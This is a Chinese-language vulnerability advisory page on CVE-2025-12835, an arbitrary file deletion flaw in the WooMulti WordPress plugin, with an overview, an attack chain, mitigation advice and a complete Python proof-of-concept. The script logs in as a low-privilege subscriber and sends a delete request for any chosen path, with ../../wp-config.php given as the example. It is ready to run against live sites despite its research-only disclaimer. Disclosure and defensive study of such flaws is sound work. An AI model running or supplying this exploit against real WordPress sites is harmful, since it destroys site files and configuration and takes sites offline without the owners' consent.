IPBUF安全漏洞报告
English
CVE-2025-12835 CVSS 7.3 高危

CVE-2025-12835 WooMulti WordPress插件任意文件删除漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-12835
漏洞类型
任意文件删除/不安全的直接对象引用(IDOR)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WooMulti WordPress Plugin

相关标签

CVE-2025-12835WordPress插件漏洞WooMulti任意文件删除IDOR高危漏洞认证用户漏洞路径遍历WooCommerce

漏洞概述

CVE-2025-12835是WordPress WooMulti插件中的一个高危安全漏洞,CVSS评分达到7.3分。该漏洞属于不安全的直接对象引用(IDOR)类型,允许已认证用户(包括低权限的订阅者用户)删除服务器上的任意文件。WooMulti插件是一款用于WooCommerce多商户功能的WordPress插件,广泛应用于电商平台搭建。该插件在17及以下版本中,文件删除功能未对用户提交的file参数进行充分的权限验证和路径校验。攻击者只需构造特定的HTTP请求,指定目标文件路径,即可利用该漏洞删除服务器上的任意文件,包括重要的系统配置文件、主题文件或其他网站内容。此漏洞可能导致网站功能完全瘫痪、数据丢失,甚至可能被进一步利用进行更深层的攻击。鉴于该漏洞的利用难度较低且影响范围广泛,建议所有使用该插件的用户立即采取修复措施。

技术细节

该漏洞存在于WooMulti插件的文件删除处理逻辑中。插件在接收到文件删除请求时,直接使用用户提供的file参数值进行文件删除操作,而未进行任何有效性验证或权限检查。具体而言,插件的删除函数缺少以下安全机制:首先,未验证用户是否有权删除指定文件;其次,未对file参数进行路径规范化处理(如检查../等路径遍历字符);第三,未限制可删除文件的范围。攻击者可以通过构造形如?action=delete&file=/path/to/target的请求,利用WordPress的admin_init或类似钩子触发删除操作。由于WordPress的认证机制允许订阅者及以上角色访问某些管理功能,攻击者无需管理员权限即可利用此漏洞。成功利用后,攻击者可删除wp-config.php导致网站配置重置,删除.htaccess导致访问控制失效,或删除其他网站的敏感文件。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress站点上拥有订阅者权限的有效账户凭证
STEP 2
步骤2
攻击者构造恶意HTTP请求,指定file参数为任意文件路径(如../../wp-config.php)
STEP 3
步骤3
发送POST请求到WordPress管理面板的admin.php,触发WooMulti插件的文件删除功能
STEP 4
步骤4
插件接收file参数后,未进行路径验证和权限检查,直接执行文件删除操作
STEP 5
步骤5
目标文件被成功删除,导致网站配置丢失、功能瘫痪或数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urlencode # CVE-2025-12835 PoC - WooMulti Plugin Arbitrary File Delete # Author: Security Researcher # Note: This is for educational purposes only TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low privilege account PASSWORD = "password123" def get_wordpress_nonce(login_url): """Get WordPress login nonce""" response = requests.get(login_url, timeout=10) return response.cookies.get_dict() def authenticate(login_url, username, password, cookies): """Authenticate as WordPress user""" auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } response = requests.post(login_url, data=auth_data, cookies=cookies, allow_redirects=True) return response.cookies def exploit_arbitrary_file_delete(target_url, auth_cookies, file_path): """ Exploit WooMulti plugin arbitrary file deletion file_path: Relative or absolute path to file to delete Example: ../../wp-config.php or /etc/passwd (if permissions allow) """ exploit_url = f"{target_url}/wp-admin/admin.php" # Construct the malicious request exploit_data = { 'page': 'woomulti-settings', # Plugin page 'action': 'delete_file', # Delete action 'file': file_path # Arbitrary file path (vulnerability point) } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': exploit_url } print(f"[*] Sending delete request for: {file_path}") response = requests.post(exploit_url, data=exploit_data, cookies=auth_cookies, headers=headers) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Check if {file_path} was deleted") else: print(f"[-] Request failed with status: {response.status_code}") return response def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-12835.py <target_url> <file_to_delete>") print("Example: python cve-2025-12835.py http://example.com ../../wp-config.php") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_to_delete = sys.argv[2] login_url = f"{target_url}/wp-login.php" print("[*] CVE-2025-12835 - WooMulti Plugin Arbitrary File Delete") print("[*] Target:", target_url) print("[*] File to delete:", file_to_delete) # Step 1: Get initial cookies cookies = get_wordpress_nonce(login_url) # Step 2: Authenticate print("[*] Authenticating as subscriber user...") auth_cookies = authenticate(login_url, USERNAME, PASSWORD, cookies) # Step 3: Exploit print("[*] Exploiting...") exploit_arbitrary_file_delete(target_url, auth_cookies, file_to_delete) if __name__ == "__main__": main()

影响范围

WooMulti WordPress Plugin <= 17

防御指南

临时缓解措施
在官方发布修复版本之前,建议采取以下临时缓解措施:1)立即禁用或删除WooMulti插件;2)审查并限制所有低权限用户的访问权限;3)配置Web应用防火墙规则,拦截包含路径遍历字符(如../)的file参数请求;4)启用服务器端的文件权限限制,确保Web服务进程无权删除关键配置文件;5)定期备份网站文件和数据库,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表